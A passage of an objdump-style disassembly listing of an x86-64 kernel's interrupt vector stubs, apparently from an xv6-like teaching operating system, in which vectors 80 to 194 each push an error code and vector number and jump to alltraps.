ffff80000010a509: 6a 4f pushq $0x4f
jmp alltraps
ffff80000010a50b: e9 18 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a510 <vector80>:
vector80:
push $0
ffff80000010a510: 6a 00 pushq $0x0
push $80
ffff80000010a512: 6a 50 pushq $0x50
jmp alltraps
ffff80000010a514: e9 0f f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a519 <vector81>:
vector81:
push $0
ffff80000010a519: 6a 00 pushq $0x0
push $81
ffff80000010a51b: 6a 51 pushq $0x51
jmp alltraps
ffff80000010a51d: e9 06 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a522 <vector82>:
vector82:
push $0
ffff80000010a522: 6a 00 pushq $0x0
push $82
ffff80000010a524: 6a 52 pushq $0x52
jmp alltraps
ffff80000010a526: e9 fd f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a52b <vector83>:
vector83:
push $0
ffff80000010a52b: 6a 00 pushq $0x0
push $83
ffff80000010a52d: 6a 53 pushq $0x53
jmp alltraps
ffff80000010a52f: e9 f4 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a534 <vector84>:
vector84:
push $0
ffff80000010a534: 6a 00 pushq $0x0
push $84
ffff80000010a536: 6a 54 pushq $0x54
jmp alltraps
ffff80000010a538: e9 eb f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a53d <vector85>:
vector85:
push $0
ffff80000010a53d: 6a 00 pushq $0x0
push $85
ffff80000010a53f: 6a 55 pushq $0x55
jmp alltraps
ffff80000010a541: e9 e2 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a546 <vector86>:
vector86:
push $0
ffff80000010a546: 6a 00 pushq $0x0
push $86
ffff80000010a548: 6a 56 pushq $0x56
jmp alltraps
ffff80000010a54a: e9 d9 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a54f <vector87>:
vector87:
push $0
ffff80000010a54f: 6a 00 pushq $0x0
push $87
ffff80000010a551: 6a 57 pushq $0x57
jmp alltraps
ffff80000010a553: e9 d0 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a558 <vector88>:
vector88:
push $0
ffff80000010a558: 6a 00 pushq $0x0
push $88
ffff80000010a55a: 6a 58 pushq $0x58
jmp alltraps
ffff80000010a55c: e9 c7 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a561 <vector89>:
vector89:
push $0
ffff80000010a561: 6a 00 pushq $0x0
push $89
ffff80000010a563: 6a 59 pushq $0x59
jmp alltraps
ffff80000010a565: e9 be f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a56a <vector90>:
vector90:
push $0
ffff80000010a56a: 6a 00 pushq $0x0
push $90
ffff80000010a56c: 6a 5a pushq $0x5a
jmp alltraps
ffff80000010a56e: e9 b5 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a573 <vector91>:
vector91:
push $0
ffff80000010a573: 6a 00 pushq $0x0
push $91
ffff80000010a575: 6a 5b pushq $0x5b
jmp alltraps
ffff80000010a577: e9 ac f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a57c <vector92>:
vector92:
push $0
ffff80000010a57c: 6a 00 pushq $0x0
push $92
ffff80000010a57e: 6a 5c pushq $0x5c
jmp alltraps
ffff80000010a580: e9 a3 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a585 <vector93>:
vector93:
push $0
ffff80000010a585: 6a 00 pushq $0x0
push $93
ffff80000010a587: 6a 5d pushq $0x5d
jmp alltraps
ffff80000010a589: e9 9a f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a58e <vector94>:
vector94:
push $0
ffff80000010a58e: 6a 00 pushq $0x0
push $94
ffff80000010a590: 6a 5e pushq $0x5e
jmp alltraps
ffff80000010a592: e9 91 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a597 <vector95>:
vector95:
push $0
ffff80000010a597: 6a 00 pushq $0x0
push $95
ffff80000010a599: 6a 5f pushq $0x5f
jmp alltraps
ffff80000010a59b: e9 88 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a5a0 <vector96>:
vector96:
push $0
ffff80000010a5a0: 6a 00 pushq $0x0
push $96
ffff80000010a5a2: 6a 60 pushq $0x60
jmp alltraps
ffff80000010a5a4: e9 7f f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a5a9 <vector97>:
vector97:
push $0
ffff80000010a5a9: 6a 00 pushq $0x0
push $97
ffff80000010a5ab: 6a 61 pushq $0x61
jmp alltraps
ffff80000010a5ad: e9 76 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a5b2 <vector98>:
vector98:
push $0
ffff80000010a5b2: 6a 00 pushq $0x0
push $98
ffff80000010a5b4: 6a 62 pushq $0x62
jmp alltraps
ffff80000010a5b6: e9 6d f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a5bb <vector99>:
vector99:
push $0
ffff80000010a5bb: 6a 00 pushq $0x0
push $99
ffff80000010a5bd: 6a 63 pushq $0x63
jmp alltraps
ffff80000010a5bf: e9 64 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a5c4 <vector100>:
vector100:
push $0
ffff80000010a5c4: 6a 00 pushq $0x0
push $100
ffff80000010a5c6: 6a 64 pushq $0x64
jmp alltraps
ffff80000010a5c8: e9 5b f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a5cd <vector101>:
vector101:
push $0
ffff80000010a5cd: 6a 00 pushq $0x0
push $101
ffff80000010a5cf: 6a 65 pushq $0x65
jmp alltraps
ffff80000010a5d1: e9 52 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a5d6 <vector102>:
vector102:
push $0
ffff80000010a5d6: 6a 00 pushq $0x0
push $102
ffff80000010a5d8: 6a 66 pushq $0x66
jmp alltraps
ffff80000010a5da: e9 49 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a5df <vector103>:
vector103:
push $0
ffff80000010a5df: 6a 00 pushq $0x0
push $103
ffff80000010a5e1: 6a 67 pushq $0x67
jmp alltraps
ffff80000010a5e3: e9 40 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a5e8 <vector104>:
vector104:
push $0
ffff80000010a5e8: 6a 00 pushq $0x0
push $104
ffff80000010a5ea: 6a 68 pushq $0x68
jmp alltraps
ffff80000010a5ec: e9 37 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a5f1 <vector105>:
vector105:
push $0
ffff80000010a5f1: 6a 00 pushq $0x0
push $105
ffff80000010a5f3: 6a 69 pushq $0x69
jmp alltraps
ffff80000010a5f5: e9 2e f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a5fa <vector106>:
vector106:
push $0
ffff80000010a5fa: 6a 00 pushq $0x0
push $106
ffff80000010a5fc: 6a 6a pushq $0x6a
jmp alltraps
ffff80000010a5fe: e9 25 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a603 <vector107>:
vector107:
push $0
ffff80000010a603: 6a 00 pushq $0x0
push $107
ffff80000010a605: 6a 6b pushq $0x6b
jmp alltraps
ffff80000010a607: e9 1c f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a60c <vector108>:
vector108:
push $0
ffff80000010a60c: 6a 00 pushq $0x0
push $108
ffff80000010a60e: 6a 6c pushq $0x6c
jmp alltraps
ffff80000010a610: e9 13 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a615 <vector109>:
vector109:
push $0
ffff80000010a615: 6a 00 pushq $0x0
push $109
ffff80000010a617: 6a 6d pushq $0x6d
jmp alltraps
ffff80000010a619: e9 0a f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a61e <vector110>:
vector110:
push $0
ffff80000010a61e: 6a 00 pushq $0x0
push $110
ffff80000010a620: 6a 6e pushq $0x6e
jmp alltraps
ffff80000010a622: e9 01 f3 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a627 <vector111>:
vector111:
push $0
ffff80000010a627: 6a 00 pushq $0x0
push $111
ffff80000010a629: 6a 6f pushq $0x6f
jmp alltraps
ffff80000010a62b: e9 f8 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a630 <vector112>:
vector112:
push $0
ffff80000010a630: 6a 00 pushq $0x0
push $112
ffff80000010a632: 6a 70 pushq $0x70
jmp alltraps
ffff80000010a634: e9 ef f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a639 <vector113>:
vector113:
push $0
ffff80000010a639: 6a 00 pushq $0x0
push $113
ffff80000010a63b: 6a 71 pushq $0x71
jmp alltraps
ffff80000010a63d: e9 e6 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a642 <vector114>:
vector114:
push $0
ffff80000010a642: 6a 00 pushq $0x0
push $114
ffff80000010a644: 6a 72 pushq $0x72
jmp alltraps
ffff80000010a646: e9 dd f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a64b <vector115>:
vector115:
push $0
ffff80000010a64b: 6a 00 pushq $0x0
push $115
ffff80000010a64d: 6a 73 pushq $0x73
jmp alltraps
ffff80000010a64f: e9 d4 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a654 <vector116>:
vector116:
push $0
ffff80000010a654: 6a 00 pushq $0x0
push $116
ffff80000010a656: 6a 74 pushq $0x74
jmp alltraps
ffff80000010a658: e9 cb f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a65d <vector117>:
vector117:
push $0
ffff80000010a65d: 6a 00 pushq $0x0
push $117
ffff80000010a65f: 6a 75 pushq $0x75
jmp alltraps
ffff80000010a661: e9 c2 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a666 <vector118>:
vector118:
push $0
ffff80000010a666: 6a 00 pushq $0x0
push $118
ffff80000010a668: 6a 76 pushq $0x76
jmp alltraps
ffff80000010a66a: e9 b9 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a66f <vector119>:
vector119:
push $0
ffff80000010a66f: 6a 00 pushq $0x0
push $119
ffff80000010a671: 6a 77 pushq $0x77
jmp alltraps
ffff80000010a673: e9 b0 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a678 <vector120>:
vector120:
push $0
ffff80000010a678: 6a 00 pushq $0x0
push $120
ffff80000010a67a: 6a 78 pushq $0x78
jmp alltraps
ffff80000010a67c: e9 a7 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a681 <vector121>:
vector121:
push $0
ffff80000010a681: 6a 00 pushq $0x0
push $121
ffff80000010a683: 6a 79 pushq $0x79
jmp alltraps
ffff80000010a685: e9 9e f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a68a <vector122>:
vector122:
push $0
ffff80000010a68a: 6a 00 pushq $0x0
push $122
ffff80000010a68c: 6a 7a pushq $0x7a
jmp alltraps
ffff80000010a68e: e9 95 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a693 <vector123>:
vector123:
push $0
ffff80000010a693: 6a 00 pushq $0x0
push $123
ffff80000010a695: 6a 7b pushq $0x7b
jmp alltraps
ffff80000010a697: e9 8c f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a69c <vector124>:
vector124:
push $0
ffff80000010a69c: 6a 00 pushq $0x0
push $124
ffff80000010a69e: 6a 7c pushq $0x7c
jmp alltraps
ffff80000010a6a0: e9 83 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a6a5 <vector125>:
vector125:
push $0
ffff80000010a6a5: 6a 00 pushq $0x0
push $125
ffff80000010a6a7: 6a 7d pushq $0x7d
jmp alltraps
ffff80000010a6a9: e9 7a f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a6ae <vector126>:
vector126:
push $0
ffff80000010a6ae: 6a 00 pushq $0x0
push $126
ffff80000010a6b0: 6a 7e pushq $0x7e
jmp alltraps
ffff80000010a6b2: e9 71 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a6b7 <vector127>:
vector127:
push $0
ffff80000010a6b7: 6a 00 pushq $0x0
push $127
ffff80000010a6b9: 6a 7f pushq $0x7f
jmp alltraps
ffff80000010a6bb: e9 68 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a6c0 <vector128>:
vector128:
push $0
ffff80000010a6c0: 6a 00 pushq $0x0
push $128
ffff80000010a6c2: 68 80 00 00 00 pushq $0x80
jmp alltraps
ffff80000010a6c7: e9 5c f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a6cc <vector129>:
vector129:
push $0
ffff80000010a6cc: 6a 00 pushq $0x0
push $129
ffff80000010a6ce: 68 81 00 00 00 pushq $0x81
jmp alltraps
ffff80000010a6d3: e9 50 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a6d8 <vector130>:
vector130:
push $0
ffff80000010a6d8: 6a 00 pushq $0x0
push $130
ffff80000010a6da: 68 82 00 00 00 pushq $0x82
jmp alltraps
ffff80000010a6df: e9 44 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a6e4 <vector131>:
vector131:
push $0
ffff80000010a6e4: 6a 00 pushq $0x0
push $131
ffff80000010a6e6: 68 83 00 00 00 pushq $0x83
jmp alltraps
ffff80000010a6eb: e9 38 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a6f0 <vector132>:
vector132:
push $0
ffff80000010a6f0: 6a 00 pushq $0x0
push $132
ffff80000010a6f2: 68 84 00 00 00 pushq $0x84
jmp alltraps
ffff80000010a6f7: e9 2c f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a6fc <vector133>:
vector133:
push $0
ffff80000010a6fc: 6a 00 pushq $0x0
push $133
ffff80000010a6fe: 68 85 00 00 00 pushq $0x85
jmp alltraps
ffff80000010a703: e9 20 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a708 <vector134>:
vector134:
push $0
ffff80000010a708: 6a 00 pushq $0x0
push $134
ffff80000010a70a: 68 86 00 00 00 pushq $0x86
jmp alltraps
ffff80000010a70f: e9 14 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a714 <vector135>:
vector135:
push $0
ffff80000010a714: 6a 00 pushq $0x0
push $135
ffff80000010a716: 68 87 00 00 00 pushq $0x87
jmp alltraps
ffff80000010a71b: e9 08 f2 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a720 <vector136>:
vector136:
push $0
ffff80000010a720: 6a 00 pushq $0x0
push $136
ffff80000010a722: 68 88 00 00 00 pushq $0x88
jmp alltraps
ffff80000010a727: e9 fc f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a72c <vector137>:
vector137:
push $0
ffff80000010a72c: 6a 00 pushq $0x0
push $137
ffff80000010a72e: 68 89 00 00 00 pushq $0x89
jmp alltraps
ffff80000010a733: e9 f0 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a738 <vector138>:
vector138:
push $0
ffff80000010a738: 6a 00 pushq $0x0
push $138
ffff80000010a73a: 68 8a 00 00 00 pushq $0x8a
jmp alltraps
ffff80000010a73f: e9 e4 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a744 <vector139>:
vector139:
push $0
ffff80000010a744: 6a 00 pushq $0x0
push $139
ffff80000010a746: 68 8b 00 00 00 pushq $0x8b
jmp alltraps
ffff80000010a74b: e9 d8 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a750 <vector140>:
vector140:
push $0
ffff80000010a750: 6a 00 pushq $0x0
push $140
ffff80000010a752: 68 8c 00 00 00 pushq $0x8c
jmp alltraps
ffff80000010a757: e9 cc f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a75c <vector141>:
vector141:
push $0
ffff80000010a75c: 6a 00 pushq $0x0
push $141
ffff80000010a75e: 68 8d 00 00 00 pushq $0x8d
jmp alltraps
ffff80000010a763: e9 c0 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a768 <vector142>:
vector142:
push $0
ffff80000010a768: 6a 00 pushq $0x0
push $142
ffff80000010a76a: 68 8e 00 00 00 pushq $0x8e
jmp alltraps
ffff80000010a76f: e9 b4 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a774 <vector143>:
vector143:
push $0
ffff80000010a774: 6a 00 pushq $0x0
push $143
ffff80000010a776: 68 8f 00 00 00 pushq $0x8f
jmp alltraps
ffff80000010a77b: e9 a8 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a780 <vector144>:
vector144:
push $0
ffff80000010a780: 6a 00 pushq $0x0
push $144
ffff80000010a782: 68 90 00 00 00 pushq $0x90
jmp alltraps
ffff80000010a787: e9 9c f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a78c <vector145>:
vector145:
push $0
ffff80000010a78c: 6a 00 pushq $0x0
push $145
ffff80000010a78e: 68 91 00 00 00 pushq $0x91
jmp alltraps
ffff80000010a793: e9 90 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a798 <vector146>:
vector146:
push $0
ffff80000010a798: 6a 00 pushq $0x0
push $146
ffff80000010a79a: 68 92 00 00 00 pushq $0x92
jmp alltraps
ffff80000010a79f: e9 84 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a7a4 <vector147>:
vector147:
push $0
ffff80000010a7a4: 6a 00 pushq $0x0
push $147
ffff80000010a7a6: 68 93 00 00 00 pushq $0x93
jmp alltraps
ffff80000010a7ab: e9 78 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a7b0 <vector148>:
vector148:
push $0
ffff80000010a7b0: 6a 00 pushq $0x0
push $148
ffff80000010a7b2: 68 94 00 00 00 pushq $0x94
jmp alltraps
ffff80000010a7b7: e9 6c f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a7bc <vector149>:
vector149:
push $0
ffff80000010a7bc: 6a 00 pushq $0x0
push $149
ffff80000010a7be: 68 95 00 00 00 pushq $0x95
jmp alltraps
ffff80000010a7c3: e9 60 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a7c8 <vector150>:
vector150:
push $0
ffff80000010a7c8: 6a 00 pushq $0x0
push $150
ffff80000010a7ca: 68 96 00 00 00 pushq $0x96
jmp alltraps
ffff80000010a7cf: e9 54 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a7d4 <vector151>:
vector151:
push $0
ffff80000010a7d4: 6a 00 pushq $0x0
push $151
ffff80000010a7d6: 68 97 00 00 00 pushq $0x97
jmp alltraps
ffff80000010a7db: e9 48 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a7e0 <vector152>:
vector152:
push $0
ffff80000010a7e0: 6a 00 pushq $0x0
push $152
ffff80000010a7e2: 68 98 00 00 00 pushq $0x98
jmp alltraps
ffff80000010a7e7: e9 3c f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a7ec <vector153>:
vector153:
push $0
ffff80000010a7ec: 6a 00 pushq $0x0
push $153
ffff80000010a7ee: 68 99 00 00 00 pushq $0x99
jmp alltraps
ffff80000010a7f3: e9 30 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a7f8 <vector154>:
vector154:
push $0
ffff80000010a7f8: 6a 00 pushq $0x0
push $154
ffff80000010a7fa: 68 9a 00 00 00 pushq $0x9a
jmp alltraps
ffff80000010a7ff: e9 24 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a804 <vector155>:
vector155:
push $0
ffff80000010a804: 6a 00 pushq $0x0
push $155
ffff80000010a806: 68 9b 00 00 00 pushq $0x9b
jmp alltraps
ffff80000010a80b: e9 18 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a810 <vector156>:
vector156:
push $0
ffff80000010a810: 6a 00 pushq $0x0
push $156
ffff80000010a812: 68 9c 00 00 00 pushq $0x9c
jmp alltraps
ffff80000010a817: e9 0c f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a81c <vector157>:
vector157:
push $0
ffff80000010a81c: 6a 00 pushq $0x0
push $157
ffff80000010a81e: 68 9d 00 00 00 pushq $0x9d
jmp alltraps
ffff80000010a823: e9 00 f1 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a828 <vector158>:
vector158:
push $0
ffff80000010a828: 6a 00 pushq $0x0
push $158
ffff80000010a82a: 68 9e 00 00 00 pushq $0x9e
jmp alltraps
ffff80000010a82f: e9 f4 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a834 <vector159>:
vector159:
push $0
ffff80000010a834: 6a 00 pushq $0x0
push $159
ffff80000010a836: 68 9f 00 00 00 pushq $0x9f
jmp alltraps
ffff80000010a83b: e9 e8 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a840 <vector160>:
vector160:
push $0
ffff80000010a840: 6a 00 pushq $0x0
push $160
ffff80000010a842: 68 a0 00 00 00 pushq $0xa0
jmp alltraps
ffff80000010a847: e9 dc f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a84c <vector161>:
vector161:
push $0
ffff80000010a84c: 6a 00 pushq $0x0
push $161
ffff80000010a84e: 68 a1 00 00 00 pushq $0xa1
jmp alltraps
ffff80000010a853: e9 d0 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a858 <vector162>:
vector162:
push $0
ffff80000010a858: 6a 00 pushq $0x0
push $162
ffff80000010a85a: 68 a2 00 00 00 pushq $0xa2
jmp alltraps
ffff80000010a85f: e9 c4 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a864 <vector163>:
vector163:
push $0
ffff80000010a864: 6a 00 pushq $0x0
push $163
ffff80000010a866: 68 a3 00 00 00 pushq $0xa3
jmp alltraps
ffff80000010a86b: e9 b8 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a870 <vector164>:
vector164:
push $0
ffff80000010a870: 6a 00 pushq $0x0
push $164
ffff80000010a872: 68 a4 00 00 00 pushq $0xa4
jmp alltraps
ffff80000010a877: e9 ac f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a87c <vector165>:
vector165:
push $0
ffff80000010a87c: 6a 00 pushq $0x0
push $165
ffff80000010a87e: 68 a5 00 00 00 pushq $0xa5
jmp alltraps
ffff80000010a883: e9 a0 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a888 <vector166>:
vector166:
push $0
ffff80000010a888: 6a 00 pushq $0x0
push $166
ffff80000010a88a: 68 a6 00 00 00 pushq $0xa6
jmp alltraps
ffff80000010a88f: e9 94 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a894 <vector167>:
vector167:
push $0
ffff80000010a894: 6a 00 pushq $0x0
push $167
ffff80000010a896: 68 a7 00 00 00 pushq $0xa7
jmp alltraps
ffff80000010a89b: e9 88 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a8a0 <vector168>:
vector168:
push $0
ffff80000010a8a0: 6a 00 pushq $0x0
push $168
ffff80000010a8a2: 68 a8 00 00 00 pushq $0xa8
jmp alltraps
ffff80000010a8a7: e9 7c f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a8ac <vector169>:
vector169:
push $0
ffff80000010a8ac: 6a 00 pushq $0x0
push $169
ffff80000010a8ae: 68 a9 00 00 00 pushq $0xa9
jmp alltraps
ffff80000010a8b3: e9 70 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a8b8 <vector170>:
vector170:
push $0
ffff80000010a8b8: 6a 00 pushq $0x0
push $170
ffff80000010a8ba: 68 aa 00 00 00 pushq $0xaa
jmp alltraps
ffff80000010a8bf: e9 64 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a8c4 <vector171>:
vector171:
push $0
ffff80000010a8c4: 6a 00 pushq $0x0
push $171
ffff80000010a8c6: 68 ab 00 00 00 pushq $0xab
jmp alltraps
ffff80000010a8cb: e9 58 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a8d0 <vector172>:
vector172:
push $0
ffff80000010a8d0: 6a 00 pushq $0x0
push $172
ffff80000010a8d2: 68 ac 00 00 00 pushq $0xac
jmp alltraps
ffff80000010a8d7: e9 4c f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a8dc <vector173>:
vector173:
push $0
ffff80000010a8dc: 6a 00 pushq $0x0
push $173
ffff80000010a8de: 68 ad 00 00 00 pushq $0xad
jmp alltraps
ffff80000010a8e3: e9 40 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a8e8 <vector174>:
vector174:
push $0
ffff80000010a8e8: 6a 00 pushq $0x0
push $174
ffff80000010a8ea: 68 ae 00 00 00 pushq $0xae
jmp alltraps
ffff80000010a8ef: e9 34 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a8f4 <vector175>:
vector175:
push $0
ffff80000010a8f4: 6a 00 pushq $0x0
push $175
ffff80000010a8f6: 68 af 00 00 00 pushq $0xaf
jmp alltraps
ffff80000010a8fb: e9 28 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a900 <vector176>:
vector176:
push $0
ffff80000010a900: 6a 00 pushq $0x0
push $176
ffff80000010a902: 68 b0 00 00 00 pushq $0xb0
jmp alltraps
ffff80000010a907: e9 1c f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a90c <vector177>:
vector177:
push $0
ffff80000010a90c: 6a 00 pushq $0x0
push $177
ffff80000010a90e: 68 b1 00 00 00 pushq $0xb1
jmp alltraps
ffff80000010a913: e9 10 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a918 <vector178>:
vector178:
push $0
ffff80000010a918: 6a 00 pushq $0x0
push $178
ffff80000010a91a: 68 b2 00 00 00 pushq $0xb2
jmp alltraps
ffff80000010a91f: e9 04 f0 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a924 <vector179>:
vector179:
push $0
ffff80000010a924: 6a 00 pushq $0x0
push $179
ffff80000010a926: 68 b3 00 00 00 pushq $0xb3
jmp alltraps
ffff80000010a92b: e9 f8 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a930 <vector180>:
vector180:
push $0
ffff80000010a930: 6a 00 pushq $0x0
push $180
ffff80000010a932: 68 b4 00 00 00 pushq $0xb4
jmp alltraps
ffff80000010a937: e9 ec ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a93c <vector181>:
vector181:
push $0
ffff80000010a93c: 6a 00 pushq $0x0
push $181
ffff80000010a93e: 68 b5 00 00 00 pushq $0xb5
jmp alltraps
ffff80000010a943: e9 e0 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a948 <vector182>:
vector182:
push $0
ffff80000010a948: 6a 00 pushq $0x0
push $182
ffff80000010a94a: 68 b6 00 00 00 pushq $0xb6
jmp alltraps
ffff80000010a94f: e9 d4 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a954 <vector183>:
vector183:
push $0
ffff80000010a954: 6a 00 pushq $0x0
push $183
ffff80000010a956: 68 b7 00 00 00 pushq $0xb7
jmp alltraps
ffff80000010a95b: e9 c8 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a960 <vector184>:
vector184:
push $0
ffff80000010a960: 6a 00 pushq $0x0
push $184
ffff80000010a962: 68 b8 00 00 00 pushq $0xb8
jmp alltraps
ffff80000010a967: e9 bc ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a96c <vector185>:
vector185:
push $0
ffff80000010a96c: 6a 00 pushq $0x0
push $185
ffff80000010a96e: 68 b9 00 00 00 pushq $0xb9
jmp alltraps
ffff80000010a973: e9 b0 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a978 <vector186>:
vector186:
push $0
ffff80000010a978: 6a 00 pushq $0x0
push $186
ffff80000010a97a: 68 ba 00 00 00 pushq $0xba
jmp alltraps
ffff80000010a97f: e9 a4 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a984 <vector187>:
vector187:
push $0
ffff80000010a984: 6a 00 pushq $0x0
push $187
ffff80000010a986: 68 bb 00 00 00 pushq $0xbb
jmp alltraps
ffff80000010a98b: e9 98 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a990 <vector188>:
vector188:
push $0
ffff80000010a990: 6a 00 pushq $0x0
push $188
ffff80000010a992: 68 bc 00 00 00 pushq $0xbc
jmp alltraps
ffff80000010a997: e9 8c ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a99c <vector189>:
vector189:
push $0
ffff80000010a99c: 6a 00 pushq $0x0
push $189
ffff80000010a99e: 68 bd 00 00 00 pushq $0xbd
jmp alltraps
ffff80000010a9a3: e9 80 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a9a8 <vector190>:
vector190:
push $0
ffff80000010a9a8: 6a 00 pushq $0x0
push $190
ffff80000010a9aa: 68 be 00 00 00 pushq $0xbe
jmp alltraps
ffff80000010a9af: e9 74 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a9b4 <vector191>:
vector191:
push $0
ffff80000010a9b4: 6a 00 pushq $0x0
push $191
ffff80000010a9b6: 68 bf 00 00 00 pushq $0xbf
jmp alltraps
ffff80000010a9bb: e9 68 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a9c0 <vector192>:
vector192:
push $0
ffff80000010a9c0: 6a 00 pushq $0x0
push $192
ffff80000010a9c2: 68 c0 00 00 00 pushq $0xc0
jmp alltraps
ffff80000010a9c7: e9 5c ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a9cc <vector193>:
vector193:
push $0
ffff80000010a9cc: 6a 00 pushq $0x0
push $193
ffff80000010a9ce: 68 c1 00 00 00 pushq $0xc1
jmp alltraps
ffff80000010a9d3: e9 50 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a9d8 <vector194>:
vector194:
push $0
ffff80000010a9d8: 6a 00 pushq $0x0
push $194
